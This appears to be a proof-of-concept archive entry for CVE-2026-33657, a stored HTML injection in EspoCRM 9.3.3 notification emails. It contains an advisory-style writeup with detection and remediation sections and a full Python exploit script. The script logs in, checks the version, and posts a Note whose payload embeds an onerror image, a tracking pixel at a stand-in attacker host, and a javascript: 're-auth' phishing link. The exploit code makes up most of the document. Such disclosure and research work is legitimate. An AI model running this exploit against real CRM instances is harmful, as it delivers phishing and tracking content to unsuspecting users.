PoC Archive PoC Archive
Medium CVE-2026-33657 patched

EspoCRM 9.3.3 Stored HTML Injection in Email Notifications — CVE-2026-33657

by EntroVyx · 2026-07-05

Severity
Medium
CVE
CVE-2026-33657
Category
web
Affected product
EspoCRM 9.3.3
Affected versions
9.3.3 (fixed in 9.3.4)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherEntroVyx
CVE / AdvisoryCVE-2026-33657
Categoryweb
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagsespocrm, html-injection, stored-xss, cwe-80, email-notifications, authenticated, crm, template-injection
RelatedN/A

Affected Target

FieldValue
Software / SystemEspoCRM 9.3.3
Versions Affected9.3.3 (fixed in 9.3.4)
Language / PlatformPython 3 (requests) targeting PHP web application / email templates
Authentication RequiredYes
Network Access RequiredYes

Summary

EspoCRM 9.3.3 renders stream-post notification emails by converting a Note’s Markdown body to HTML and inserting the result into the email template using an unescaped triple-brace placeholder ({{{post}}}), which skips HTML entity escaping normally applied by double-brace placeholders. Any authenticated user able to create a stream Note and trigger a notification (via @mention or a targeted stream post) can store raw HTML — including <img onerror=...> and javascript: links — that later gets embedded verbatim into the HTML part of the generated notification email. The PoC authenticates, optionally fingerprints the EspoCRM version via /api/v1/App/user, creates a malicious Note containing an HTML payload alongside a mention or target-user reference, and confirms via the API response that the payload was stored and a notification target was registered; actual email delivery then depends on EspoCRM’s normal SendEmailNotifications cron job.


Vulnerability Details

Root Cause

The email-notification template engine uses the triple-brace ({{{post}}}) Handlebars-style placeholder for the rendered Markdown-to-HTML note body, which does not HTML-escape its content, allowing attacker-supplied HTML/JS to pass through into the generated email unmodified.

Attack Vector

  1. Authenticate to EspoCRM with an account that has permission to create stream Note posts and message/mention another user.
  2. Optionally call /api/v1/App/user to fingerprint the version and confirm the target is running the vulnerable 9.3.3 build.
  3. Submit a Note (POST /api/v1/Note) whose post body contains a mention (@victim) or explicit targetType/usersIds, along with embedded HTML such as an <img src=... onerror=alert(...)> tracking pixel and a javascript: link.
  4. Confirm via the API response that the mention was parsed and/or notifiedUserIdList contains the intended target.
  5. When EspoCRM’s SendEmailNotifications job/cron runs, the stored HTML is rendered unescaped into the outgoing notification email’s HTML body.

Impact

An authenticated attacker can deliver stored HTML/JavaScript to other users via legitimate-looking system-generated notification emails, enabling tracking, phishing, or client-side script execution in email clients/webmail that render HTML without stripping event handlers or javascript: URIs.


Environment / Lab Setup

Target:   EspoCRM 9.3.3 (e.g. http://127.0.0.1:8083), with a configured outbound email/SMTP and cron for SendEmailNotifications
Attacker: Python 3, requests, valid EspoCRM credentials with stream-post/mention permissions

Proof of Concept

PoC Script

See CVE-2026-33657.py in this folder.

1
python3 CVE-2026-33657.py -u http://127.0.0.1:8083 -U testuser -P 'Admin12345!' --mention admin

The script authenticates, optionally fingerprints the EspoCRM version, then creates a stream Note embedding a default (or custom, via --payload) HTML tracking-pixel and javascript: link payload targeting the specified --mention user or --target-user-id. It reports whether the payload was stored, whether the mention was parsed, and which user IDs were queued for notification; the actual malicious email is generated once the target’s SendEmailNotifications job/cron subsequently runs.


Detection & Indicators of Compromise

Signs of compromise:

  • Note records whose post field contains embedded <img>, <a href="javascript:...">, or other HTML markup rather than plain text/Markdown.
  • Outgoing notification emails whose HTML body contains unexpected tracking pixels, external image references, or javascript: links.
  • Unusual mention/notification activity targeting specific high-value users shortly after suspicious Note creation.

Remediation

ActionDetail
Primary fixUpgrade to EspoCRM 9.3.4, which addresses the unescaped template rendering (GHSA-8prm-r5j9-j574).
Interim mitigationConfigure email clients/webmail to strip active HTML content from automated notification emails, and restrict stream-post/mention permissions to trusted users until patched.

References


Notes

Mirrored from https://github.com/EntroVyx/CVE-2026-33657 on 2026-07-05.

CVE-2026-33657.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
#!/usr/bin/env python3
#
# Exploit Title: EspoCRM 9.3.3 - Stored HTML Injection in Email Notifications
# Date: 2026-05-08
# Exploit Author: EntroVyx
# Vendor Homepage: https://www.espocrm.com/
# Software Link: https://github.com/espocrm/espocrm
# Version: 9.3.3
# CVE: CVE-2026-33657
# Advisory: https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
#
# Usage:
#   python3 CVE-2026-33657.py -u http://127.0.0.1:8083 -U testuser -P 'Admin12345!' --mention admin
#   python3 CVE-2026-33657.py -u https://target.example -U user -P pass --mention victim --tracking-url https://attacker.example/pixel.gif
#
# The exploit creates a stream Note containing HTML that EspoCRM 9.3.3 renders
# unescaped in email-notification templates. Delivery happens when EspoCRM's
# normal SendEmailNotifications job/cron processes the queued notification.

import argparse
import json
import sys
from urllib.parse import urlparse

import requests


VULNERABLE_VERSIONS = {"9.3.3"}
FIXED_VERSION = "9.3.4"


def normalize_base_url(value):
    value = value.rstrip("/")
    parsed = urlparse(value)

    if not parsed.scheme or not parsed.netloc:
        raise argparse.ArgumentTypeError("target URL must include scheme and host")

    return value


def find_key_values(value, key):
    found = []

    if isinstance(value, dict):
        for item_key, item_value in value.items():
            if item_key == key:
                found.append(item_value)

            found.extend(find_key_values(item_value, key))

    elif isinstance(value, list):
        for item in value:
            found.extend(find_key_values(item, key))

    return found


def get_version(data):
    versions = [item for item in find_key_values(data, "version") if isinstance(item, str)]

    if not versions:
        return None

    return versions[0]


def get_app_user(session, base_url, timeout):
    response = session.get(f"{base_url}/api/v1/App/user", timeout=timeout)

    if response.status_code != 200:
        return response, None

    try:
        return response, response.json()
    except ValueError:
        return response, None


def build_payload(args):
    if args.payload:
        return args.payload

    return (
        f'<img src="{args.tracking_url}" width="1" height="1" onerror="alert(33657)">'
        f'<a href="{args.link_url}" style="color:red">re-auth</a>'
    )


def create_note(session, base_url, post, target_user_id, target_user_name, timeout):
    endpoint = f"{base_url}/api/v1/Note"
    payload = {
        "type": "Post",
        "post": post,
    }

    if target_user_id:
        payload["targetType"] = "users"
        payload["usersIds"] = [target_user_id]

        if target_user_name:
            payload["usersNames"] = {target_user_id: target_user_name}

    return session.post(endpoint, json=payload, timeout=timeout)


def short_body(response):
    body = response.text.replace("\r", "\\r").replace("\n", "\\n")

    if len(body) > 700:
        return body[:700] + "..."

    return body


def parse_note_response(response):
    try:
        data = response.json()
    except json.JSONDecodeError:
        return None

    return data if isinstance(data, dict) else None


def print_version_status(version, force):
    if not version:
        print("[!] Could not read version from /api/v1/App/user.")
        return True

    print(f"[*] Detected version: {version}")

    if version in VULNERABLE_VERSIONS:
        print(f"[+] Version fingerprint is vulnerable: EspoCRM {version}.")
        return True

    if version == "@@version":
        print("[!] Version is '@@version', usually a source-tree build. Continuing because this lab/source build may still be 9.3.3.")
        return True

    if force:
        print(f"[!] Version is not the known vulnerable release. Continuing because --force was supplied.")
        return True

    print(f"[-] Version fingerprint is not vulnerable. CVE-2026-33657 affects 9.3.3 and is fixed in {FIXED_VERSION}.")
    print("[-] Use --force only if you already confirmed the target is a vulnerable build.")
    return False


def run_detect_only(session, base_url, timeout):
    response, data = get_app_user(session, base_url, timeout)

    print(f"[*] /api/v1/App/user: HTTP {response.status_code}")

    if response.status_code != 200 or data is None:
        print("[-] Could not fingerprint EspoCRM with the supplied credentials.")
        return 1

    version = get_version(data)

    if version in VULNERABLE_VERSIONS:
        print(f"[+] Vulnerable by version: EspoCRM {version}.")
        return 0

    if version == "@@version":
        print("[!] Indeterminate: source-tree build reports '@@version'.")
        return 3

    print(f"[-] Not vulnerable by version. Detected: {version or 'unknown'}.")
    return 2


def main():
    parser = argparse.ArgumentParser(
        description="Authenticated EspoCRM CVE-2026-33657 stored HTML injection exploit."
    )
    parser.add_argument("-u", "--url", required=True, type=normalize_base_url, help="Base URL, e.g. http://host:8083")
    parser.add_argument("-U", "--username", required=True, help="EspoCRM username")
    parser.add_argument("-P", "--password", required=True, help="EspoCRM password")
    parser.add_argument("--mention", help="Username to mention, without @. Preferred path for mention email notifications.")
    parser.add_argument("--target-user-id", help="Optional user id for targeted stream-post notifications")
    parser.add_argument("--target-user-name", help="Display name for --target-user-id")
    parser.add_argument("--payload", help="Raw HTML payload to place in the Note post")
    parser.add_argument("--tracking-url", default="http://attacker.example/track.gif", help="Tracking pixel URL for default payload")
    parser.add_argument("--link-url", default="javascript:alert(33657)", help="Link URL for default payload")
    parser.add_argument("--marker", default="CVE-2026-33657", help="Marker text included before the payload")
    parser.add_argument("--timeout", type=float, default=15.0, help="HTTP timeout")
    parser.add_argument("--detect-only", action="store_true", help="Only fingerprint the version; do not create a Note")
    parser.add_argument("--skip-version-check", action="store_true", help="Do not call /api/v1/App/user before exploitation")
    parser.add_argument("--force", action="store_true", help="Exploit even if the version fingerprint is not 9.3.3")
    parser.add_argument("--insecure", action="store_true", help="Disable TLS certificate verification")
    args = parser.parse_args()

    session = requests.Session()
    session.auth = (args.username, args.password)
    session.headers.update({"Accept": "application/json"})
    session.verify = not args.insecure

    print(f"[*] Target: {args.url}")

    if args.detect_only:
        print("[*] Mode: detect-only. No Note will be created.")
        return run_detect_only(session, args.url, args.timeout)

    if not args.mention and not args.target_user_id:
        print("[-] Active exploitation requires a delivery target.")
        print("[-] Use --mention <username> or --target-user-id <id>.")
        return 2

    if not args.skip_version_check:
        response, data = get_app_user(session, args.url, args.timeout)
        print(f"[*] /api/v1/App/user: HTTP {response.status_code}")

        if response.status_code != 200 or data is None:
            print("[-] Authentication failed or App/user did not return JSON.")
            return 1

        if not print_version_status(get_version(data), args.force):
            return 2

    payload = build_payload(args)
    prefix = f"@{args.mention} " if args.mention else ""
    post = f"{prefix}{args.marker} {payload}"

    print(f"[*] Creating malicious Note as {args.username}")
    response = create_note(
        session,
        args.url,
        post,
        args.target_user_id,
        args.target_user_name,
        args.timeout,
    )

    print(f"[*] Note response: HTTP {response.status_code} {short_body(response)}")

    if response.status_code != 200:
        print("[-] The Note was not created.")
        return 1

    data = parse_note_response(response)

    if not data:
        print("[-] The server did not return a valid Note JSON object.")
        return 1

    note_id = data.get("id")
    stored_post = data.get("post", "")
    mentions = (data.get("data") or {}).get("mentions") or {}
    notified_user_ids = data.get("notifiedUserIdList") or []
    expected_mention = f"@{args.mention}" if args.mention else None

    if args.marker not in stored_post or "<img" not in stored_post or "<a" not in stored_post:
        print("[-] The returned Note does not contain the expected HTML payload.")
        return 2

    print("[+] Exploit payload stored in Note post.")
    print(f"[+] Note id: {note_id}")

    if expected_mention:
        if expected_mention in mentions:
            target = mentions[expected_mention]
            print(f"[+] Mention parsed: {expected_mention} -> user id {target.get('id')}")
        else:
            print(f"[!] Mention {expected_mention} was not parsed. Check message/mention permissions and target username.")

    if notified_user_ids:
        print(f"[+] Notification target list returned by API: {', '.join(notified_user_ids)}")
    else:
        print("[!] API did not return notifiedUserIdList. Email delivery may still depend on EspoCRM notification settings.")

    if args.target_user_id:
        print(f"[+] Targeted stream post requested for user id: {args.target_user_id}")

    print("[+] Complete remote trigger submitted.")
    print("[+] When EspoCRM's SendEmailNotifications job/cron runs, vulnerable 9.3.3 renders this Note through Markdown and {{{post}}}.")
    print("[+] The resulting HTML email body preserves the injected <img> tag and javascript: link.")

    return 0


if __name__ == "__main__":
    try:
        sys.exit(main())
    except requests.RequestException as exc:
        print(f"[-] HTTP error: {exc}")
        sys.exit(1)